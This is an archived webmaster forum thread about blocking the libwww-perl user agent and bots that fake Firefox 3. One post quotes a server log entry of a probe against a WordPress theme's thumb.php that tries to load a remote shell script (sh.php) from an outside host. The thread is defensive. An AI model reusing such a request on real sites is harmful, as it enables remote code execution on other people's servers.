Welcome to WebmasterWorld Guest from 54.145.11.9

Forum Moderators: DixonJones & mademetop

Message Too Old, No Replies

Is it safe to block libwww-perl

Block useragent libwww-perl

     
12:16 pm on May 15, 2012 (gmt 0)

Junior Member

5+ Year Member

joined:Dec 20, 2009
posts: 97
votes: 0


I see that I am getting requests with useragent: libwww-perl

Is it safe to block requests with useragent libwww-perl?
12:24 pm on May 15, 2012 (gmt 0)

Junior Member

5+ Year Member

joined:Dec 20, 2009
posts: 97
votes: 0


Also, can I block?

69.25.173.35 - - [12/May/2012:01:11:48 -0500] "GET /Sports//wp-content/themes/irresistible/irresistible/thumb.php?src=http://picasa.com.welitonmaia.com.br/sh.php HTTP/1.1" 404 7428 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

If yes, any idea what the user agent is?
4:56 pm on May 15, 2012 (gmt 0)

Preferred Member

10+ Year Member

joined:Mar 10, 2004
posts: 395
votes: 13


Not only is it safe I think its pretty much a given to block it. Unless you're using the tool yourself its pretty much a guarantee its a spam bot, scraper, content thief, hacker, etc.
8:40 pm on May 15, 2012 (gmt 0)

Senior Member from US 

WebmasterWorld Senior Member lucy24 is a WebmasterWorld Top Contributor of All Time 5+ Year Member Top Contributors Of The Month

joined:Apr 9, 2011
posts:13218
votes: 348


Ooh, it's the "thumb.php" robot. I've met them. Technically you don't need to block them at all, since they're already getting a 404. But a 403 is more satisfying.

In most circumstances, Firefox 3.anything is a robot. But be careful, because there are exceptions. (I'm one of them myself.) Firefox 3 + Windows is probably a safe lockout.
9:27 pm on May 15, 2012 (gmt 0)

Preferred Member

10+ Year Member

joined:Mar 10, 2004
posts: 395
votes: 13


X2 about Firefox. I have a set of rules to determine if Firefox 3.x is real. I get a few real Firefox 3 users daily - it seems many didn't like the subsequence versions and 3.x has been maintained up until recently. But I have many many more fake Firefox 3 user agents than real, especially 3.5.6.

Rather than go into detail explaining how to catch the fake versions (since spammers read these forums too) I suggest you take an in-depth look at Firefox's documentation as the information is in there for those willing to dig. :)
12:36 pm on May 16, 2012 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member

joined:Apr 30, 2007
posts:1394
votes: 0


Rather than go into detail explaining how to catch the fake versions (since spammers read these forums too) I suggest you take an in-depth look at Firefox's documentation as the information is in there for those willing to dig. :)

Why you think attackers won't simply copy the UA and headers a particular browser sends and implemented into the rogue bot sending requests?
1:57 pm on May 16, 2012 (gmt 0)

Preferred Member

10+ Year Member

joined:Mar 10, 2004
posts: 395
votes: 13


Many of them don't do more than simply copy the UA. Also sometimes the underlying tool they use don't allow them to manipulate all the headers, just some. After whitelisting, close examination of headers and header order catches a great many of them.